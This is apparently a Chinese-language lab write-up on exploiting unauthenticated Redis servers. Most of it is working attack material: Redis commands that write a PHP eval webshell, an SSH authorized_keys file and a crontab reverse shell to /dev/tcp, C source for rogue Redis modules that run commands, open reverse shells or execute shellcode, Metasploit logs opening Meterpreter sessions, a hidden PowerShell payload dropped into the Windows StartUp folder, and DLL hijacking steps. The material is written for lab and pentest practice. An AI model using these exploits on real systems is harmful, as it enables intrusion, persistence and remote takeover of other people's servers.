redis是什么

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

有什么问题

redis默认安装都是没有密码的,默认配置里bind 127.0.0.1,如果将bind开放到内网ip或直接0.0.0.0就会造成redis的未授权访问。

和其他数据库一样,redis支持导出备份文件,如果redis是以高权限用户(如root)运行的,就可以通过指定导出路径和文件名覆盖任意文件。而redis导出文件的内容是部分可控的,通过写入或覆盖一些有容错的文件就可以执行命令。

利用方法

写webshell

这种利用方式要求知道web目录。如果不知道只能拿常用目录去试。

先在192.168.5.130上开一个redis5,参考https://www.cnblogs.com/Neeo/articles/17609004.html

配置文件里bind改成192.168.5.130

然后在192.168.5.130上开一个php的网站

apt install php7.4-cli
php -S 192.168.5.130:80

kali预装了redis-cli,直接用kali(ip:192.168.5.130)

redis-cli -h 192.168.5.130 -p 6379

自己刚搭的redis肯定是空的,实战环境看情况可以先清一下redis再写文件:

flushall

然后写文件:

#指定文件内容
set payload "\n\n<?php eval($_POST[1]);?>\n\n"
#关闭压缩,payload如果太长有概率被压缩,压缩后会乱码
config set rdbcompression no
#指定输出目录
config set dir /var/www/html/
#指定文件名
config set dbfilename webshell.php
#确认无误后保存输出
save

/var/www/html/下看看:

root@ubuntu:/var/www/html# cat webshell.php 
REDIS0009�  redis-ver5.0.4�
�edis-bits�@�ctime�ن�fused-mem�PV
 aof-preamble���payload�
​
<?php eval($_POST[1]);
​
�   �|���Kroot@ubuntu:/var/www/html# 

连接试试

报500了,光换行还是不行,还是要闭合php标签

重写一个<?php eval($_POST['pass']);?>

连接成功

写authorized_keys

安装sshd:

apt install openssh-server

apt装的sshd默认不允许root登录,改一下配置:

vim /etc/ssh/sshd_config
PermitRootLogin yes

没有.ssh文件夹,ssh localhost

生成sshRSA密钥对(kali上执行):

ssh-keygen -t rsa -C "123"

一定要-C,或者就自己手动改.pub文件,不然泄露主机名和用户名。用虚拟机还好,在物理机直接生成就要老命了。

然后写进redis:

echo "\n"|cat - id_rsa.pub | redis-cli -h 192.168.5.130 -x set pub

或者直接复制了用RedisDesktopManager的GUI写也行

RedisDesktopManager的console不转义,不好用,直接用GUI

设置路径和文件名,保存:

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

查看authorized_keys

root@ubuntu:~/.ssh# cat authorized_keys 
REDIS0009�	redis-ver5.0.4�
�edis-bits�@�ctime�0��fused-mem¨X
 aof-preamble���pubB/

ssh-rsa AAAAB3N............VjcPoOE= 123
��3�Ֆ,

ssh连接:

ssh root@192.168.5.130

成功

写crontab反弹shell

ubuntu的crontab不行,遇到错误语法会报错,直接忽略配置文件

centos的crontab忽略错误的继续往下识别,可以用

用的都是Vixie Cron,不知道为什么会有区别

https://security.tencent.com/index.php/blog/msg/206

https://mirrors.huaweicloud.com/centos/7/isos/x86_64/

要开防火墙

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

kali监听:

nc -nlvp 8888

连接redis后执行:

#设置payload
set shell "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.74.128/8888 0>&1\n\n"
#关闭压缩
config set rdbcompression no
#设置路径、文件名
config set dir /var/spool/cron/
config set dbfilename root
#保存
save

等一会儿就弹回来了

配置文件可以加上MAILTO="",不然shell里一直有提示

反弹shell不支持控制字符、不支持交互应用,一般都改造一下,python3 -c "import pty;pty.spawn('/bin/bash')"

CentOS7没有python3,python是python2,执行了也不支持控制字符

https://www.bilibili.com/video/BV1qp4y1Z7Pv

在反弹的shell里执行:

/usr/bin/script -qc /bin/bash /dev/null
#按ctrl+z
stty raw -echo;fg
reset
#在自己终端echo $TERM看一下
xterm
#在自己终端stty -a看一下rows和columns
stty rows 27 columns 78

主从复制RCE

原理是将目标redis设置为自己redis的从机,用全量复制在目标主机写入恶意so文件,然后在从机上加载恶意so文件执行恶意的扩展命令来执行系统命令。

有一个利用脚本,https://github.com/n0b0dyCN/redis-rogue-server,但是这个反弹shell有问题,退出了redis也跟着退出了。

python ./redis-rogue-server.py --lhost 192.168.5.128 --rhost 192.168.5.134

i是直接用redis加载的恶意命令执行,system.exec "whoami"

r是反弹shell,会卡住redis,syste.rev ip port

加载的恶意so在redis-rogue-server-master/RedisModulesSDK/exp里,可以自己改了编译

#include "redismodule.h"

#include <stdio.h> 
#include <unistd.h>  
#include <stdlib.h> 
#include <errno.h>   
#include <sys/wait.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
	if (argc == 2) {
		size_t cmd_len;
		size_t size = 1024;
		char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);

		FILE *fp = popen(cmd, "r");
		char *buf, *output;
		buf = (char *)malloc(size);
		output = (char *)malloc(size);
		while ( fgets(buf, sizeof(buf), fp) != 0 ) {
			if (strlen(buf) + strlen(output) >= size) {
				output = realloc(output, size<<2);
				size <<= 1;
			}
			strcat(output, buf);
		}
		RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
		RedisModule_ReplyWithString(ctx, ret);
		pclose(fp);
	} else {
                return RedisModule_WrongArity(ctx);
        }
    return REDISMODULE_OK;
}

int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
	if (argc == 3) {
		size_t cmd_len;
		char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
		char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
		int port = atoi(port_s);
		int s;

		struct sockaddr_in sa;
		sa.sin_family = AF_INET;
		sa.sin_addr.s_addr = inet_addr(ip);
		sa.sin_port = htons(port);
		
		s = socket(AF_INET, SOCK_STREAM, 0);
		connect(s, (struct sockaddr *)&sa, sizeof(sa));
		dup2(s, 0);
		dup2(s, 1);
		dup2(s, 2);

		execve("/bin/sh", 0, 0);
	} else {
                return RedisModule_WrongArity(ctx);
        }
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1)
        == REDISMODULE_ERR) return REDISMODULE_ERR;

    if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
	if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    return REDISMODULE_OK;
}

msf里有一个利用模块

┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/linux/redis/redis_replication_cmd_exec 
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 192.168.74.131
rhosts => 192.168.74.131
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 192.168.74.128
lhost => 192.168.74.128
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 192.168.74.128
srvhost => 192.168.74.128
msf6 exploit(linux/redis/redis_replication_cmd_exec) > exploit

[*] Started reverse TCP handler on 192.168.74.128:4444 
[*] 192.168.74.131:6379   - Compile redis module extension file
[+] 192.168.74.131:6379   - Payload generated successfully! 
[*] 192.168.74.131:6379   - Listening on 192.168.74.128:6379
[*] 192.168.74.131:6379   - Rogue server close...
[*] 192.168.74.131:6379   - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 192.168.74.131
[+] 192.168.74.131:6379   - Deleted ./dgbzjpnt.so
[*] Meterpreter session 1 opened (192.168.74.128:4444 -> 192.168.74.131:52202) at 2024-09-13 13:06:26 -0400

meterpreter > sysinfo 
Computer     : 192.168.74.131
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.119.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

也会卡住redis,其他的redis-cli不能正常交互,但是退出redis不会跟着退出。

原理是直接加载shellcode上线:

#include "redismodule.h"

#include <stdio.h> 
#include <unistd.h>  
#include <stdlib.h> 
#include <errno.h>   
#include <sys/wait.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {

    pid_t child_pid = fork();
    if (child_pid == 0)
    {
        // Your meterpreter shell here
        unsigned char buf[] = "\x31......shellcode......\xe6";

        int (*ret)() = (int(*)())buf;
        ret();
    }
    else
        {wait(NULL);}

    return REDISMODULE_OK;
}


int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx,"euuvnp",1,REDISMODULE_APIVER_1)
                        == REDISMODULE_ERR) return REDISMODULE_ERR;

    if (RedisModule_CreateCommand(ctx, "euuvnp.utcpu",
        Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    return REDISMODULE_OK;
}

上线以后可以用web_delivery复制一个session,把redis的session退掉,redis就能正常交互了

windows下的利用

windows也能装redis

Redis 安装 | 菜鸟教程 (runoob.com)

要开防火墙

webshell肯定是可以写的,ssh和crontab肯定是不行的,但是window有个开机启动文件夹,路径是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

或者:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

后者是指定用户登录时生效

启动时会执行目录下的所有文件,而bat文件是有容错的,所以可以往StartUp下写一个恶意的bat执行恶意文件上线

先用msf的web_delivery生成powershell马:

msf6 > use exploit/multi/script/web_delivery 
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Python
    1   PHP
    2   PSH
    3   Regsvr32
    4   pubprn
    5   SyncAppvPublishingServer
    6   PSH (Binary)
    7   Linux
    8   Mac OS X


msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf6 exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.5.128:4444 
[*] Using URL: http://192.168.5.128:8080/uqjHuGQJ
msf6 exploit(multi/script/web_delivery) > [*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e Ww......payload......wA=

然后用redis写到StartUp文件夹里:

flushall
config set dbfilename start.bat
config set dir "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp"
config set rdbcompression no
set payload "\r\n\r\npowershell.exe -nop -w hidden -e Ww......payload......A=\r\n\r\n"
save

要注意由于转义的原因目录分隔符要两个反斜杠,还有windows下的换行是\r\n

查看:

C:\Users\Administrator>type "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\start.bat"
REDIS0009?redis-ve5.0.14.1?redis-bits繞?ctime仑/錰?used-mem掳 ?aof-preamble? ? ?  payloadE

powershell.exe -nop -w hidden -e WwB......payload......wA=

j臐柀d昁
C:\Users\Administrator>

注销重新登录,上线

msf6 exploit(multi/script/web_delivery) > 
[*] 192.168.5.132    web_delivery - Delivering AMSI Bypass (1389 bytes)
[*] 192.168.5.132    web_delivery - Delivering Payload (3738 bytes)
[*] Sending stage (201798 bytes) to 192.168.5.132
[*] Meterpreter session 1 opened (192.168.5.128:4444 -> 192.168.5.132:64423) at 2024-09-14 02:48:52 -0400

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x64/win  WIN-UQ7J91UBKRL\Admi  192.168.5.128:4444 -
            dows                 nistrator @ WIN-UQ7J  > 192.168.5.132:6442
                                 91UBKRL               3 (192.168.5.132)

msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...


meterpreter > 
meterpreter > sysinfo
Computer        : WIN-UQ7J91UBKRL
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 

windows主从复制rce

windows的redis也能加载module,理论上也能导入自定义命令rce

已经有人写过了https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

#define _CRT_SECURE_NO_WARNINGS
#include <string.h>
#include <stdlib.h>
#include "win32_port.h"
#include "redismodule.h"
#ifdef _WIN32
#define strncasecmp(s1, s2, len) _strnicmp(s1, s2, len)
#define strcasecmp(s1, s2) _stricmp(s1, s2)
#endif



char * join(char*s1, char*s2) {
	char *result = malloc(strlen(s1) + strlen(s2) + 1 + 1);
	if (result == NULL) exit(1);
	strcpy(result, s1);
	strcat(result, " ");
	strcat(result, s2);
	return result;
}


int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {

	char *_cmd;
	size_t _cmd_len;
	size_t size = 1024;
	char *all_cmd = "";
	if (argc >= 2)
	{
		for (size_t i = 1; i < argc; i++)
		{
			_cmd = RedisModule_StringPtrLen(argv[i], &_cmd_len);
			all_cmd = join(all_cmd, _cmd);
		}

		FILE *fp = _popen(all_cmd, "r");
		char *buf, *output;
		buf = (char *)malloc(size);
		output = "{";

		while (fgets(buf, sizeof(buf), fp) != 0) {
			output = join(output, buf);
		}
		output = join(output, "}");
		RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
		RedisModule_ReplyWithString(ctx, ret);
		_pclose(fp);
	}
	return REDISMODULE_OK;
}

#ifdef _WIN32
__declspec(dllexport)
#endif
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
	// Register the module
	if (RedisModule_Init(ctx, "exp", 1, REDISMODULE_APIVER_1) ==
		REDISMODULE_ERR)
		return REDISMODULE_ERR;

	if (RedisModule_CreateCommand(ctx, "exp.e", DoCommand, "readonly", 1, 1, 1) ==
		REDISMODULE_ERR)
		return REDISMODULE_ERR;

	return REDISMODULE_OK;
}

改了一下redis-rogue-server,发现返回带中文不能解码,开始怀疑是编码的问题,后来发现是返回的数据带空格,把中文字节分开了,去上面项目的exp.c找输出部分:

output = "{";

while (fgets(buf, sizeof(buf), fp) != 0) {
    output = join(output, buf);
}
output = join(output, "}");

找到join,发现:

char * join(char*s1, char*s2) {
	char *result = malloc(strlen(s1) + strlen(s2) + 1 + 1);
	if (result == NULL) exit(1);
	strcpy(result, s1);
	strcat(result, " ");//这行的问题
	strcat(result, s2);
	return result;
}

不太懂为什么要加空格,改掉

重新编译了一下,debug版本不行,必须要release版本,取消预编译头,去掉生成pdb文件

正常了

python ./redis-rogue-server-windows.py --lhost 192.168.5.128 --rhost 192.168.5.132 --exp exp.dll

还有一个问题,windows的dll在被占用的时候没法删除,删除就要unload恶意dll,unload之后就不能执行命令

试了几种方法,有的成功了但会弹黑框,暂时没有比较好的方法,先伪装成redis自带的dll

dll劫持rce

在redis启动和执行bgsave的时候会调用dbghelp.dll这个动态链接库,而由于其不在KnownDlls里,所以会在当前目录下搜索,所以用主从复制把恶意dll命名为dbghelp.dll放到redis目录下就可以实现dll劫持

用这个项目:https://github.com/P4r4d1se/dll_hijack

然后执行python .\DLLHijacker.py C:\Windows\System32\dbghelp.dll生成项目

一定要用和靶机相同的系统执行,win11执行生成的项目编译出来的不能在win10上用

生成完项目选release版本编译一下,然后用上面的脚本把这个dll写过去,执行一下bgsave就执行到项目里的Hijack函数了

Hijack函数里是弹计算器的shellcode,可以换成cs或者msf上线的shellcode

懒狗一条